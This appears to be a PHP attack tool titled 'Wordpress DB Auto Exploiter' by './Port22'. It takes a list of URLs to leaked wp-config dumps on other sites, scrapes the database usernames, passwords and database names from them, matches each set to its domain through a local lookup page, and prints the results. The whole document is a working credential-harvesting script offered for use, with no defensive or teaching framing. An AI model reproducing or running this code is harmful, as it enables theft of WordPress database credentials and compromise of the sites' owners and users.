WP Config Grabber With Domain

<center><h1>Wordpress DB Auto Exploiter</h1>
    <h3>Coded by ./Port22</h3>
<form method="post" action="">
    <textarea name="list" rows="10" cols="80"></textarea>
    <br>
    <button>Start</button>
</form></center>
<?php
include 'Curl.php';

function getStr($string,$start,$end){
    $string = str_replace("\n", '', $string);
    $string = str_replace("\t", '', $string);
    $str    = explode($start,$string,2);
    $str    = explode($end,$str[1],2);
    return $str[0];
}

$curl = new Curl();
error_reporting(0);
if(isset($_POST['list'])){
    $list = $_POST['list'];
    $exuri = explode("\n", $list);
    $no = count($exuri);
    for ($i=0; $i < $no ; $i++) {
        $uri = trim($exuri[$i]);
        $get = $curl->get($uri);
        if(stristr($uri, 'wp13.txt')){
            $userWp = getStr($get, "define('DB_USER', '","'");
            $passWp = getStr($get, "define('DB_PASSWORD', '","'");
            $dbWp   = getStr($get, "define('DB_NAME', '","'");
            if($userWp != '' && $passWp != ''){
                $dirtyhost = explode('/', $uri);
                $host      = explode('-', $dirtyhost[4]);
                $getHost = $curl->get('http://localhost/assets/kucing.html');
                $domain  = getStr($getHost, '<td align=left>',$host[0]);
                $dirtyDomain = explode('<td align=left>', $domain);
                $countDomain = count($dirtyDomain) - 1;
                $cleanDomain = getStr($dirtyDomain[$countDomain], '<font class=txt>','<font');
                echo "<font color='red'> Username :</font> $userWp | <font color='red'>Password :</font> $passWp | <font color='red'>DB :</font> $dbWp | <font color='red'>Doman :</font> $cleanDomain<br>";
            }
        }
    }
}